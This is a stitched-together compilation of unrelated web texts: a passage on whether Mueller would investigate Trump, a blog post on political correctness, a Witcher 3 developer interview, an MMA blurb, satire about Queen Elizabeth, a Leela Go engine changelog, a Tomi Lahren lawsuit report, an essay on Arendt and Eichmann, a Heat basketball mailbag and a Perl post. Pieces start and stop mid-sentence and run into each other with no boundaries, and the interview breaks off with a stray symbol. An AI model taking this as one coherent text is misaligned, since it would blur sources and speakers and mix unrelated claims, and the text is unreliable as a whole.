A second sign that Trump himself is under investigation would be if Mueller begins to interview witnesses who can corroborate Comey’s testimony and then the interviews, or subpoenas associated with them, become public. The day after Comey testified, Senator Dianne Feinstein sent a letter to Chuck Grassley, the chairman of the Senate Judiciary Committee, asking the committee to investigate whether Trump obstructed justice. She listed five witnesses who could help confirm Comey’s account of the Oval Office meeting (Andrew McCabe, the deputy director of the F.B.I.; Jim Rybicki, Comey’s chief of staff; James Baker, Comey’s general counsel; David Bowditch, the associate deputy director of the F.B.I.; and Carl Ghattas, an official in the National Security Branch of the F.B.I.). These are all allies of Comey, but Trump’s closest allies may also be important witnesses, including his son Donald Trump, Jr., who, in an interview on Fox News on Sunday, seemed to confirm Comey’s version of events. (There is no parent-child privilege in federal law, so Trump’s sons, as well as his daughter Ivanka, could be called to testify in front of a grand jury about their conversations with their father.)
It’s probably not a matter of if Trump will be personally investigated; it’s a matter of when. “There is no doubt in my mind that Mueller will investigate that,” a former federal prosecutor who served in the Obama Administration said. “Trump claims total vindication, and the thing that he was claiming vindication about was that he was not the target of a criminal investigation. But now he is—or imminently will be.”To say I stood up and cheered as I finished reading Jon Chait’s new essay on the resurgence of a toxic political correctness on the left would be an understatement. There’s some great reporting in it that really helps put into context what the new guardians of the identity politics left are up to. Here’s one nugget:
Last March at University of California–Santa Barbara, in, ironically, a “free-speech zone,” a 16-year-old anti-abortion protester named Thrin Short and her 21-year-old sister Joan displayed a sign arrayed with graphic images of aborted fetuses. They caught the attention of Mireille Miller-Young, a professor of feminist studies. Miller-Young, angered by the sign, demanded that they take it down. When they refused, Miller-Young snatched the sign, took it back to her office to destroy it, and shoved one of the Short sisters on the way. Speaking to police after the altercation, Miller-Young told them that the images of the fetuses had “triggered” her and violated her “personal right to go to work and not be in harm.” A Facebook group called “UCSB Microaggressions” declared themselves “in solidarity” with Miller-Young and urged the campus “to provide as much support as possible.” By the prevailing standards of the American criminal-justice system, Miller-Young had engaged in vandalism, battery, and robbery. By the logic of the p.c. movement, she was the victim of a trigger and had acted in the righteous cause of social justice.
Chait has lots more where that came from. But the essay really deepens in the comparison between the early 1990s – when political correctness made its first appearance – and now. The difference is that the illiberal policing of speech, the demonizing of dissent, and extreme identity politics have now transcended the academy and arrived in social media with a vengeance. Twitter and Facebook encourage mutually reassuring groupthink, in which individuals are required to “like” anything that isn’t white, male, cisgendered etc., in which an ideology is enforced by un-friending those with other views instead of engaging them, and in which large numbers of Twitter-users can descend on a racist/sexist/homophobic etc miscreant and destroy his or her career and social life in pursuit of racial/gender/orientation “social justice”.
I’m an established blogger with an independent site and have witnessed several such campaigns now – and they cannot but exact a toll. I’m fine with being called a self-hating gay or homophobe or misogynist or racist or anti-Semite, but what of those with much less independence? People with media jobs in which any deviation from the p.c. norm renders them anathema to their peers, those in the academy who are terrified of committing a “micro-aggression”, those in minorities who may actually have a different non-leftist view of reality: what pressure are they being put under right now?
It seems to me they are being intimidated by an ideology that utterly rejects the notion that free speech – including views with which one strongly disagrees – can actually advance social justice, and by a view of the world that sees liberal society entirely in terms of “power” rather than freedom. And if you look across the non-conservative online media, this orthodoxy is now close to absolute. The few brave enough to take on these language and culture police – I think of Emily Yoffe’s superb piece on campus rape in Slate – will get slimed and ostracized or ignored. Once you commit a heresy, you cannot recover. You must, in fact, be air-brushed out of the debate entirely.
The right has its own version of this, of course. Many of us dissenters were purged and rendered anathema years ago. But look where that has actually left today’s GOP. It’s turned into this. And the left’s new absolutism on identity politics – now taken to an absurd degree – should, in my view, worry liberals more. Because it is a direct attack on basic liberal principles. Chait:
Politics in a democracy is still based on getting people to agree with you, not making them afraid to disagree. The historical record of political movements that sought to expand freedom for the oppressed by eliminating it for their enemies is dismal. The historical record of American liberalism, which has extended social freedoms to blacks, Jews, gays, and women, is glorious. And that glory rests in its confidence in the ultimate power of reason, not coercion, to triumph.
And reason is not constrained by gender or race or orientation or anything else.
One tip of this spear is related to sexual orientation, of course, in which some parts of the gay left are back to what they love most of all: “eliminating freedom for their enemies”. And you can see why.
If reason has no chance against the homophobic patriarchy, and one side is always going to be far more powerful in numbers than the other, almost anything short of violence is justified in order to correct the imbalance. The “victim”, after all, is always right. Gay beats straight; but queer beats gay; and trans beats queer. No stone must be unturned in this constant struggle against unrelenting aggression and oppression. In the end, they may even run out of letters to add to LGBTQIA. And all of the “hate”, we are told, is just as brutal as it ever was. And so the struggle must not ease up with success after success, but must instead be ever-more vigiliant against hetero-hegemony. So small businesses who aren’t down with gay marriages have to be sued, rather than let be; religious liberty must be scoffed at or constrained, rather than embraced; individual homophobic sinners must be forced to resign or repent or both, and there is no mercy for those who once might have opposed, say, marriage equality but now don’t. The only “dialogue” much of the p.c. gay left wants with its sinners is a groveling apology for having a different point of view. There are few things in a free society more illiberal than that.
And the paradox of this within the gay rights movement is an astounding one. For the past twenty years, the open, free-wheeling arguments for marriage equality and military service have persuaded, yes, persuaded, Americans with remarkable speed that reform was right and necessary. Yes: the arguments. If you want to argue that no social progress can come without coercion or suppression of free speech, you have to deal with the empirical fact that old-fashioned liberalism brought gay equality to America far, far faster than identity politics leftism. It was liberalism – not leftism – that gave us this breakthrough. And when Alabama is on the verge of issuing marriage licenses to its citizens, it is the kind of breakthrough that is rightly deemed historic. But instead of absorbing that fact and being proud of it and seeking magnanimity and wondering if other social justice movements might learn from this astonishing success for liberalism and social progress, some on the gay left see only further struggle against an eternally repressive heterosexist regime, demanding more and more sensitivity for slighter and slighter transgressions and actually getting more radicalized – and feeling more victimized and aggrieved – in the process.
Which reveals how dismal this kind of politics is, how bitter and rancid it so quickly becomes, how infantilizing it is. Any “success ” for one minority means merely that the oppression has been shifted temporarily elsewhere. Or it means that we dissenters in a minority have internalized our own oppression (by embracing the patriarchy of civil marriage, or structural hegemonic violence in the military) and are blind to even greater oppression beyond the next curtain of social justice consciousness. Or we find out in bitter debates about who is the biggest sinner, that in some cases, are actually more white than we are female; or more black than we are trans; and on and on. This process has no end. And almost as soon as it begins, many people in the gay rights movement or in feminist movement will soon find themselves under attack for not being sufficiently enlightened, and, in fact, for being complicit and even active in others’ oppression. Chait has a great dissection of what Michelle Goldberg has also observed among some contemporary feminists – an acrid, self-defeating, demoralizing and emotionally crippling form of internecine warfare that persuades no one outside the ever tightening circle of true believers.
Someone has to stand up to this, with more credibility with liberals than I will ever have. Freddie has; Yoffe did; Goldberg went there; and now Chait has written the liberal manifesto to fight back. Read it.
(Sidebar thumbnail by Cezary Borysiuk): The Witcher 3 is obviously very quest-based -- jumping from quest to quest -- so is character progression still primarily about acquiring more gear more than character skills and attributes?: Actually, we’ve changed approach a little. We still of course don’t have any auto balance, but we’ve got… if you remember the Gothic games, we’ve got a little bit of a Gothic approach. We’ve got zones which have [their] own difficulty levels, and in the zones we’ve got very strong monsters, where you can find some cool stuff if you defeat them, but they are really, really strong. And for most of these monsters, we’ve got monster hunting quests, which are starting from the investigation then you’re learning stuff about the monster, you’re preparing special stuff -- you saw the werewolf in the demo.Of course for the demo purpose, it was quite weak, because we’ve only got five-minutes, but normally he is really hard to defeat, and he’s got regeneration, and in the half of the combat that he is morphed, he is bigger and stronger and he can summon wolves. If you’ve got the knowledge about this werewolf -- if you’ve got the wisdom in the books, and you’ve been fighting the monsters from the family of the werewolf -- you can, for example, do the bump which when you hit the werewolf, he will get pain and the regeneration will stop, and you’ve got a window to defeat him; because otherwise, regeneration is going quite fast.If you take the trophy from him, and take it to the quest giver that will give you a reward and you can negotiate about money. It’s like in the books, where every time Geralt has some work to do with the monsters, usually he wants to steal from him, or use him to do this, and the same is in the game.: So it’s quite a different approach, gathering the information that leads you up to being able to defeat the monster. Obviously this is much more open-world now, and like you said you’ve got the different zones, so I wanted to know once you go through a zone and kind of conquer it, does it have playability afterward? Are you going to come back to many zones?: The monsters are there for that purpose, that you can always barter and try to defeat them. Because probably, toward the end of the game it will be hard to defeat them. Also, you’ve got many, many small encounters in the world, each based on small stories, and every story is quite interesting. We’ve really got a lot of them, and we wanted to make the world living; we want to give you the faith that these characters are really in the world and they have their goals to do, and you can hunt for them or not. It’s more story-driven, not generic quests like in other games.The other side is that because this is open-world and it’s huge, we couldn’t do the approach to the story like it was in the first and the second Witcher. Previously we had acts: prologue, first act, second act, and so on. Right now, we start of with the prologue, which is quite an independent story; it’s got an obligatory tutorial, where it’s mostly putting you in the Witcher world and setting you up for the Witcher and so on -- you don’t need to know the previous games to play it, and you’ll understand everything. Then we’ve got three main lands, No Man’s Land, and Novigrad, and the Skellige Islands, and telling a story like this, every land has got its own story, and inside is information you need to gather to push your main story forward.You don’t need to do everything there, but if you do, the shape of this land will change. You can, for example, influence the choosing of the king in one of these lands, and depending on who you choose, the land will look different later. Of course, we also have the small choices like in the previous games, which have very unexpected consequences later -- a lot later. And you’ve got the flashbacks, which tell you that you’ve done this before, and that’s why you’re in that situation right now.: We saw a little bit of the combat in the demo, and that’s obviously changed a little bit going forward. There were criticisms that the combat was a little too static, and you guys have made it much more fluid. Can you tell me a little bit about how you approached the combat?: Of course. The first thing is that we listened for our fans’ feedback, and we knew that the combat was problematic. So we found out which areas were problematic, and first of all, it was that the combat in The Witcher 2 wasn’t sensitive and responsive enough, the second thing was that the targeting wasn’t working very well, so these were the first things that we focused on. In The Witcher 2, the animations of attacks were quite long, and that’s why you couldn’t break them in the middle and dodge for example, so the responsive[ness] wasn’t good. Because you want to dodge; you see that guy would hit you, you’d just finish your current attack while getting hit, and get frustrated.Right now we’ve got very short animations for attacks, they’re like 0.2 seconds probably, or less even, and we build up these sequences from small attacks. Every time you press a button, you’ve got an immediate response from the game, and you can dodge and do everything you want.The other thing we repaired is the targeting. Right now, you target the guy who you want to target and it works very well. We added the counter attacks which you probably saw, and sometimes you can disarm guys while you counter-attack. We added better signs (The Witcher’s spellcasting), right now we’ve got five signs, and every sign has got a second aspect you can unlock in the character development, and those signs are really needed to fight the monsters and can be used in a very tactical way.For example, you saw the fight with the Griffin, and if you don’t have a crossbow with you, and you cannot take him down to the ground -- and he’s really dangerous when he’s flying; I know that it didn’t look like this in the presentation because we’ve got five minutes, but in the game the balance is different; he’s really hard and if he hits you from the air, you are almost dead -- so if you unlock the second aspect of the Quen sign, you can hold the shield, and if he hits the shield, he will go down and you’ve got a window to hit him.: How do you unlock those second aspects?: Actually, it’s part of character development. You’re earning experience points and getting levels in the game and points, and when you get these points, you can get the skills. What is interesting -- and this is a change from The Witcher 2 -- is that now we don’t have static character development, but we’ve got slots in the DNA. You can put the skills in the order you want to, and proper combinations of these skills give you boosts to the combat. Depending on how you want to build your character, you can reset the build and do it again if you want.For people that are more casual we’ve got auto-levelling if they want, and it’s about being one of the three specialisations of character development -- sword specialisation, magic specialisation and alchemic specialisation. Of course, we approach the alchemy a different way too. I don’t know how you play, but when I’m playing, I’ve always got a bunch of elixirs and bombs and everything in my inventory, because there will always be a better time to use it, but I never use it.So we had a really long think about what to do with this, because we put a lot of work into alchemy, and people don’t use it. Then once, I woke up with the idea -- which I shared with our team, |
. MMA is no sport for old men, but for a special few, the benefits of time and training are too great to be written off completely. We doubt even a hip-replacement could take away Dan Henderson's lethal right hand.
To cap things off, we review the bantamweight clash between John Lineker and John Dodson from last week, which exceeded expectations and tickled us all.LONDON—Cringing at the mere thought of the ceremonial rite she would have to perform, Queen Elizabeth II told reporters Thursday she hopes to die before having to knight any DJs. “God willing, I’ll pass away long before I’m ever called upon to bestow an honorary knighthood on Calvin Harris or Grooverider,” said the queen, adding that she would rather be entombed in the royal burial grounds than endure a ceremony in which she grants the highest honor in the British Empire to any club DJ in recognition of their contributions to dubstep, electro house, big beat, trip-hop, dance pop, or nu-funk. “It’s only a matter of time before the requests to knight all these trance and rave DJs start pouring in. I just pray I’m a goner and worms are eating away at my decaying corpse, because there’s simply no way I’m saying ‘I dub thee Sir Jackmaster.’” The queen went on to confirm that the complete collapse of the British monarchy was far more preferable than any member of the British Royal Family having to knight Fatboy Slim.
AdvertisementLeela 0.11.0 beta 12
Download Links
Leela 0.11.0 was released, no more betas for now.
Changes since beta 11
Leela now includes the current date tag when writing SGF files.
Workaround for a bug in GNOME and Unity regarding icon handling.
Leela now marks itself as capable of handling SGF files on Linux.
Reverted the sound backend on Linux back to OSS. The program shortcuts now apply the PulseAudio wrapper automatically. This gives better compatibility than using SDL.
"Score Histogram" renamed to "Win Rate Histogram".
During scoring, "Play On" has been reverted back to read "Dispute Score".
Changes since beta 10
Fixed a bug where quickly moving backwards/forwards through a game could cause analysis mode to be activated.
Winrates for the Score Histogram are now remembered even if the window is not currently active.
Changes since beta 9
Taking back a move in rated mode now properly makes the game not count.
Linux version now uses SDL1.2 instead of OSS for sound. This will make the sound work by default on more modern Linux distributions.
Changes since beta 5
Improved OpenCL error handling with more useful error messages. The GUI will pop up a dialog if initialization fails.
Resizing the board window to the minimum no longer crashes the program.
The GUI version now runs the engine at normal, not lowered priority. This can improve responsiveness in some situations and avoids false hangs if another program is pegging the CPU.
Small visual fixes to the settings window.
Internal cleanups and changes to thread handling aimed at working arounds bugs in AMD's OpenCL drivers.
Changes since beta 4
Windows version is now compiled with Clang/LLVM 5.0 instead of MSVC2017. This makes the Monte Carlo evaluations about 15% faster.
Changes since beta 3
Some more invalid SGF files with handicap games can now be parsed.
Changes since beta 2
Loading an SGF and trying to play on now takes the settings from "New Game", instead of the last active ones (which would often be a rated game).
Closing the Analysis/Histogram window via the menu will no longer cause it to be reopened on restart.
Fix to the very first rating adjustment in rated 19x19 games.
Changes since beta 1
A score estimate for the current position is now displayed in the title of the analysis window.
loadsgf now stops at the position before the specified move number (GTP protocol compatibility).
Loading an SGF in the GUI now correctly loads the last move as well.
Clarified in the changelog that the GUI can now take an SGF file and move number as commandline arguments.
Fixed more cases where the position cache isn't cleared on komi changes.
Give a meaningful message if an OpenCL device reports it's not a CPU or GPU (GTP version).
Fix a bug with marking which analysis windows are open in the menu.
Leela no longer auto-sizes the analysis window if the window is restored after startup.
Leela now remembers which visualization tools were enabled when restarting the program.
Removed a dependency which was breaking Ubuntu 16.10 and later.
Changes
Fixed wrong search algorithm being used when neural nets are disabled. This made the program play very weakly on non-19x19 boards.
New, much stronger Monte Carlo evaluation by combining Policy Gradient Reinforcement Learning and Simulation Balancing.
The combination of the above means that strength on non-19x19 has greatly increased compared to the previous release. As a result, rankings in rated game mode have been reset.
The users' rank now adjust much faster in the first few rated games.
More accurate, larger value network for 19x19.
More accurate policy network for 19x19. With OpenCL enabled an even stronger, bigger network is used instead.
Position cache is now cleared when komi changes.
It is now possible to play with negative or large komi in the UI, but note that the value network will not work as accurately compared to standard 0, 6.5 or 7.5 komis.
“Dispute” button in the scoring dialog now works correctly, and will enable resumption of the game with all-stones-are-alive scoring.
Leela now restores the size and position of the most important windows.
Larger, more modern fuseki library.
--nobook option allows disabling the fuseki library (GTP version).
Move information will now be display for all interesting moves, instead of the first 6 (GTP version).
A loadsgf command with incorrect parameters no longer crashes the engine (GTP version).
Clarified the description of some commandline parameters (GTP version).
Abort on some combinations of commandline parameters that are inconsistent (GTP version).
The engine will now additionally ponder after kgs-genmove_cleanup commands (GTP version).
The GUI version now accepts an SGF name and move number as startup arguments.
macOS version now warns about Apple's OpenCL drivers on first run.
Settings that are not available on the current platform are now greyed out.
Fix issues with loading SGF files with international characters in the name.
Fix wrong version info in Linux.desktop files.
Fix some keyboard shortcuts that were mapped to multiple functions.
Fix a bug that could cause the variation display to use the wrong stone colors.
Fix a bug that could cause erronous matches in the opening book or position cache.
Fix a potential crash when the score histogram is enabled.
Fix a crash when we cannot detect the number of threads/CPUs.
Many internal cleanups.
Known issues
Suboptimal moves, incorrect life and death during scoring, lost games etc are not bugs, so there's no point reporting them. Only huge obvious blunders (say self-ataring a large group) that are indicative of functional problems may be interesting.
There is no sound on macOS. The implementation is missing in wxWidgets.
The OpenCL version on macOS can crash due to broken GPU drivers. Check if the crashes happen in the regular version.
The value network thinks white is more likely to win in handicap games. Not a bug, those are the real statistics.
Bug reports
Please send bug reports per email to [email protected]Ten days after Tomi Lahren sued Glenn Beck and TheBlaze for “wrongful termination,” the right-wing media mogul and his network countersued Lahren, saying she is actually still employed by the company and that she has been nothing short of a nightmare employee.
“Lahren quickly made herself into one of the most divisive people in media both to the general public and within TheBlaze organization,” reads the lawsuit, filed Monday in a Texas court. “Her claims are baseless.”
The 24-year-old firebrand hosted a primetime commentary show for the Beck startup—often generating outrage for her pro-Trump rants about Muslims, Black Lives Matter, and liberal “snowflakes”—until last month when finally went too far by expressing pro-choice opinions to The View.
Lahren’s show was subsequently suspended, her Facebook platform silenced, and a vicious media war has ensued between both parties.
Lahren claimed she was fired for her speech, but Beck and TheBlaze’s attorneys say the company simply invoked a standard “pay or play” option where she gets paid while not appearing on their broadcast. Appearing on ABC‘s Nightline, Lahren indirectly pleaded with Beck: “Let me go. Let me move on,” adding that she feels “lost” after having her show and social media stripped from her.
TheBlaze, however, pointed to their claim that the network created her Facebook account and that they didn’t take it away from her—it’s theirs to keep.
As for Lahren’s claim that her pro-choice views were the cause of her show’s demise, the lawsuit claims she had become a problem for the network long before she ever came out in favor of legal abortion on national television.
Lahren allegedly treated her show’s stage crew in an “inappropriate and unprofessional” manner and “constantly complained” about the production. Additionally, the lawsuit claims, “Lahren’s word choices on air had to be addressed repeatedly for bordering on the profane.”
Advertisers allegedly “reported that Lahren was difficult to work with and that their advertisements performed poorly on her show,” the suit adds. “And Lahren’s incendiary, emotion-driven approach to content creation often turned off Lahren’s colleagues, advertisers, and viewers.”
Among the other allegations leveled against Lahren: she caused a human-resources hubbub by refusing to work one of the network’s two full-time makeup artists; was overheard complaining about TheBlaze, claiming she would one day own the network; and violated her contract by publicly disclosing her network-provided wardrobe budget.
Finally, the lawsuit asserts, “Lahren embarrassed the company and many of its staff and other personalities because her statements [on abortion] were uninformed and inconsistent.” Her comments—which were contradictory of her own previous statements on the subject—“offended” the network’s predominantly conservative audience and therefore “reflected negatively on TheBlaze’s reputation.”
The network seeks a court ruling declaring Lahren remain under contract at TheBlaze, an injunction against her for breach of contract, and a restraining order against her making any public appearances or statements without TheBlaze’s approval.The Stone is a forum for contemporary philosophers and other thinkers on issues both timely and timeless.
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The new English translation of Bettina Stangneth’s “Eichmann Before Jerusalem: The Unexamined Life of a Mass Murderer,” is the latest in a long line of scholarship that aims to illuminate the inner life of Adolf Eichmann, one of Nazi Germany’s most notorious, and most analyzed, figures. Based on troves of memoir, notes and interviews given by Eichmann in Argentina, where he lived under the pseudonym Ricardo Clement between 1950 and 1960, it is an impressive historical study — one that underscores the fanatical nature of Eichmann’s anti-Semitism.
In ‘Eichmann in Jerusalem’ and after, it was Kant, not Heidegger, who was foremost on Hannah Arendt’s mind.
Much of the reaction to the book hinges on how these new findings reflect on Hannah Arendt’s “Eichmann in Jerusalem,” her 1963 work based on her witnessing of Eichmann’s trial, which famously depicted him as the embodiment of “the banality of evil.” This is not surprising, given the echo in Stangneth’s English title, and the enduring controversy generated by Arendt’s interpretation, which arouses outrage for allegedly diminishing Eichmann’s moral culpability for his role in the Holocaust. While discussion of the original 2011 German edition of Stangneth’s book centered on the circle of neo-Nazi sympathizers in Argentina and their hopes to influence postwar German politics, and on Stangneth’s claim that German governments had resisted bringing Eichmann to trial there, American commentators on the English edition have mainly ignored those issues, choosing instead to turn the trial of Adolf Eichmann into the trial of Hannah Arendt.
The Emory University historian Deborah E. Lipstadt told The Times this month that Stangneth “shatters” Arendt’s portrait of Eichmann. In The Jewish Review of Books, the intellectual historian Richard Wolin writes: “Arendt had her own intellectual agenda, and perhaps out of her misplaced loyalty to her former mentor and lover, Martin Heidegger, insisted on applying the Freiburg philosopher’s concept of ‘thoughtlessness’ (Gedankenlosigkeit) to Eichmann. In doing so, she drastically underestimated the fanatical conviction that infused his actions.”
This sort of dismissal of Arendt’s work — essentially a rejection of the “banality of evil” argument — is by no means new, but it does not hold up when one truly understands the meaning of her phrase. Couldn’t Eichmann have been a fanatical Nazi and banal? What precisely did Arendt mean then when she wrote that Eichmann “was not stupid. It was sheer thoughtlessness — something by no means identical with stupidity — that predisposed him to become one of the greatest criminals of that period.”? Arendt certainly did not think that ordinary human beings were all potential Eichmanns; nor did she diminish the crime Eichmann committed against the Jewish people. In fact, she accused him of “crimes against humanity,” and approved his death sentence, with which many, including the Jewish philosopher Martin Buber, disagreed.
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Stangneth’s book, although far more respectful of Arendt’s work than her detractors are, does not address these questions or throw much light on their philosophical context. She does present new evidence about Eichmann’s persona and thinking, based mainly on the so-called “Argentina Papers,” which took nearly 20 years to emerge completely. In 1957 Willem S. Sassen, a Dutch journalist and Nazi collaborator who had become a German citizen, conducted interviews with Eichmann, who believed that they would be a basis for a book of his own to be called “Others Have Spoken, Now I Will Speak.”The Argentina Papers included over 1,000 typed pages of conversation (whose original tape recordings emerged only in 1998), and 500 pages of handwritten commentary, some by Eichmann and some by Sassen. Some of this material would subsequently appear in Life magazine in a notorious expose of Eichmann by Sassen.
Arendt knew that “Eichmann had made copious notes for the interview, which was tape-recorded and then rewritten by Sassen with considerable embellishments.” She also knew that although some of the notes were admitted to the trial as evidence, “the statement as a whole was not.” Israel’s state prosecutor, Gideon Hausner, had a bad photographic copy of 713 typed and 83 handwritten pages, but Eichmann and his lawyer convinced the court that most of it was inadmissible, supposedly because the recorded statements were uttered under the influence of alcohol and with Sassen’s encouragement to Eichmann to make sensationalist pronouncements which the latter intended to use for publicity purposes.
Would full access to this material have led Arendt to change her assessment that Eichmann was banal and “thoughtless”? Not if one understands and uses German as she did, and not if one understands the philosophical contexts within which she meant precisely what she said.
The Argentine Papers do give us new insights into the intensity of Eichmann’s anti-Semitic worldview, insights that Arendt could not have had access to. Stangneth cites a statement by Eichmann’s former friend and colleague, Dieter Wisliceny in the Nuremberg trials: “[Eichmann] said: He would jump laughing into the grave because the feeling that he had five million people on his conscience would please him extraordinarily.”
Commenting on Eichmann’s claim that he was “neither a murderer nor a mass murderer,” Stangneth writes that his “’inner morality is not an idea of justice, a universal moral category, or even a kind of introspection…. Eichmann was not demanding a common human law, which could also apply to him, because he, too, was human. He was actually demanding recognition for a National Socialist dogma, according to which each people (Volk) has a right to defend itself by any means necessary, the German people most of all.” Stangneth explains that for Eichmann “Conscience was simply the ‘morality of the Fatherland that dwells within’ a person, which Eichmann also termed ‘the voice of the blood.’ ”
This recalls the famous exchange during Eichmann’s trial in Jerusalem between Judge Yitzhak Raveh and the defendant about Kant’s moral philosophy, which Arendt cites in “Eichmann in Jerusalem.” She quotes Eichmann saying, “I meant by my remark about Kant that the principle of my will must always be such that it can become the principle of general laws.” But Arendt notes that Eichmann’s meaning perverts Kant’s Categorical Imperative: Whereas “In Kant’s philosophy the source, that source was practical reason, in Eichmann’s household use of him, it was the will of the Führer.”
So when Arendt uses the phrase “the inability to think” to characterize Eichmann’s reduction of conscience to a “voice of blood” and of the categorical imperative to the command of the Führer, she is taking as given the Kantian terminology, in which “to think” means to think for oneself and to think consistently, but also from the standpoint of everyone else. The Categorical Imperative in one of its formulations says, “Act in such a way that the principle of your actions can be a universal law for all.” Eichmann neither thought for himself nor from a universal standpoint in any Kantian sense, and Arendt returned to the relationship between thinking and moral action in several of her essays after “Eichmann in Jerusalem.” It was Kant — not Heidegger, as Wolin alleges — who was foremost on her mind.
Related More From The Stone Read previous contributions to this series.
In a farewell message to sympathizers in Argentina, Eichmann dropped “all his misgivings” and admitted himself to be a “cautious bureaucrat,” but one who was “attended by a fanatical warrior, fighting for the freedom of my blood, which is my birthright.” Eichmann concludes: “And the cautious bureaucrat, which of course I was, this is what I had been, also guided and inspired me: what benefits my people is a sacred order and sacred law for me.”
It is this strange mixture of bravado and cruelty, of patriotic idealism and the shallowness of racialist thinking that Arendt sensed because she was so well attuned to Eichmann’s misuse of the German language and to his idiosyncratic deployment of concepts like the Categorical Imperative. As Stangneth puts it, “Hannah Arendt, whose linguistic and conceptual sensibilities had been honed on classical German literature, wrote that Eichmann’s language was a roller coaster of thoughtless horror, cynicism, whining self-pity, unintentional comedy and incredible human wretchedness.”
Eichmann’s self-immunizing mixture of anti-Semitic clichés, his antiquated idiom of German patriotism and the craving for the warrior’s honor and dignity, led Arendt to conclude that Eichmann could not “think” — not because he was incapable of rational intelligence but because he could not think for himself beyond clichés. He was banal precisely because he was a fanatical anti-Semite, not despite it.
Although Arendt was wrong about the depth of Eichmann’s anti-Semitism, she was not wrong about these crucial aspects of his persona and mentality. She saw in him an all-too familiar syndrome of rigid self-righteousness; extreme defensiveness fueled by exaggerated metaphysical and world-historical theories; fervent patriotism based on the “purity” of one’s people; paranoid projections about the power of Jews and envy of them for their achievements in science, literature and philosophy; and contempt for Jews’ supposed deviousness, cowardice and pretensions to be the “chosen people.” This syndrome was banal in that it was widespread among National Socialists.
But by coining the phrase “the banality of evil” and by declining to ascribe Eichmann’s deeds to the demonic or monstrous nature of the doer, Arendt knew that she was going against a tradition of Western thought that sees evil in terms of ultimate sinfulness, depravity and corruption. Emphasizing the fanaticism of Eichmann’s anti-Semitism cannot discredit her challenge to a tradition of philosophical thinking; it only avoids coming honestly to terms with it.
Seyla Benhabib is a professor of political science and philosophy at Yale University. She is the author of several books, including “The Reluctant Modernism of Hannah Arendt” and, most recently, “Dignity in Adversity: Human Rights in Troubled Times,” and the editor of “Politics in Dark Times: Encounters with Hannah Arendt.”Q:Why did Hassan Whiteside play only 26 minutes and take only four shots against the Celtics? He had just three fouls. Where's the ball movement? Why is Dwyane Wade the point guard when he is on the court with Goran Dragic? What am I missing? -- Rick, Tamarac.
A: And, remember, this is a center the Heat basically are courting in advance of next summer's free agency. I'm not sure four shots on Monday or even his six on Friday in New York exactly inspire confidence about his place in the system, considering the promises made to Dragic to play at speed when he was re-signed. As for Dragic, how can you have a point guard and not have him advancing the ball? It is remarkable how many times Wade is the one taking the inbound pass after an opposing basket. Whiteside has to be given the opportunity to be a force in the middle. And Dragic has to be given the keys to the offense. Otherwise, you're basically minimizing their possibilities.
Q: Who is the Miami Heat trying to fool with this team? The way this system is currently running, Miami will be lucky to get out of the first round of the playoffs. I have never witnessed a more predictable and dysfunctional looking offense in all of my years of watching professional basketball. I hate to say it, but in my opinion, the way this team is constructed, they can't win with Dwyane Wade, and can't win without him. Wade clearly makes Hassan Whiteside better unlike any other on this roster, but he makes everyone else worse by reducing them to spectators. Wade will only take a backseat to a superstar. -- Jay, Fort Lauderdale.
A: I've received numerous questions about the Heat's offensive approach and I totally agree. My question is whether Erik Spoelstra agrees, whether it's the players breaking his system, or whether it is supposed to be as methodical as is being offered. Fans in South Florida not only want the Heat to win, they want them to be entertaining. At the moment, the ball is stopping, sticking or getting thrown away. Yes, the defense has been brilliant early. But the other part of the equation is lacking.
Q: Hi, Ira. Wouldn't it be nice to have someone who is a consistent 3-point threat? Chris Bosh is jacking up to many threes and I am not excited that he is leading the Heat. Any chance we could trade for a 3-point specialist for a big that we have? -- Chase, Hollywood.
A: The spacing during the Celtics game was some of the worst of the season. While Gerald Green can shoot threes, he also can miss threes, with opponents willingly conceding those shots. His presence does not necessarily space the floor. But Spoelstra has never shown a willingness to play a pure shooter. So if you do add a 3-point shooter, who would you play him ahead of: Tyler Johnson? Gerald Green? Justise Winslow? Luol Deng? That's the question.One of my goals with Modern Perl is to improve the entire Perl ecosystem for both Perl 5 and Perl 6 such that everyone can take advantage of all of the wonderful improvements already provided and yet to come. First, we have to convince people that that's possible.
In Sacrificing the Future on the Past's Golden Altar I mentioned that Perl 5's deprecation policy has harmed Perl 5 over the past decade, if not longer. Several people asked me for a better alternative.
It's no coincidence that I've worked on Parrot for the past several years. At the most recent Parrot Developer Summit last December, we discussed our support policy for Parrot as we near the Parrot 1.0 release. I've just finished writing the initial version of Parrot's release, support, and deprecation policies. (I apologize that it's in raw POD form; we'll add it to the website soon.)
I don't want to get into too many details about deprecation and support, nor how aggressive the Parrot schedule is for the foreseeable future, but I do want to explain some of the reasoning. It's important for all projects, not just large and, we hope, successful community-developed projects.
I believe strongly that the best way to invent the future is to iterate on a theme. That's part of the reason I write these posts -- I'm trying out new ideas on a growing audience of smart, dedicated, and committed readers who rarely hesitate to challenge my underthought assumptions or ask for clarity when I've been obtuse. The same principle goes for software.
If you know exactly how to solve a problem before you've written any code, it's worthless to solve the problem yourself. Re-use existing code, then spend your time and resources on something that matters more.
If you don't know exactly how to solve a problem, you're unlikely to find the best solution on your first attempt. That may be fine. Your first attempt may be good enough. If so, great!
The problem starts in so many cases where the first attempt isn't perfect and needs further work. We call this debugging. Usually it's also a design problem.
Two complementary schools of thought address this problem from different approaches. The agile movement suggests that working in very small steps and solving small pieces of larger problems in isolation helps you avoid thrashing and rework and all of the organizational problems you have when you're trying to solve very large and very complex problems. The refactoring school suggests that very focused and reversable changes to the organization of code and entities within the code make it easier to write good code in the future.
It's possible to have one without the other, but they build on each other.
The allure of both approaches is that they promise to free you from the golden chains of "I Must Get This Completely Right The First Time." You don't. You do have a minimum standard of quality and efficacy, and it's important to meet those goals, but they make change less risky and even cheap. I didn't say that practicing either one is easy or simple, just that I know of no better way to reduce the risk of mistakes. If they're small and easy to detect and easy to fix, you don't have to worry about making them.
Of course, this only matters if you're going to change your software in the future. If you write a program and run it and you don't need it in ten minutes, none of this matters. If you write a program and install it on a machine and it can run for the next year or ten years untouched, none of this matters. The cost of change is irrelevant for software that never changes.
Most of us rarely have the luxury of writing software that never changes.
Perhaps there's a common illusion that people who write software for other coders to reuse in their projects -- whether languages, libraries, platforms, or tools -- should meet a standard higher than most other projects. To some degree it's true. Many projects which get widely used attract better developers and development strategies. Many don't.
Yet I don't believe there is a general solution to the problem that we don't get code and design right on our first try. We make mistakes designing languages and libraries. We make mistakes implementing platforms and tools. Sometimes the best we can do to make things righter is to make an incompatible change. As long as our code gets easier to use and maintain over time, I can live with that.
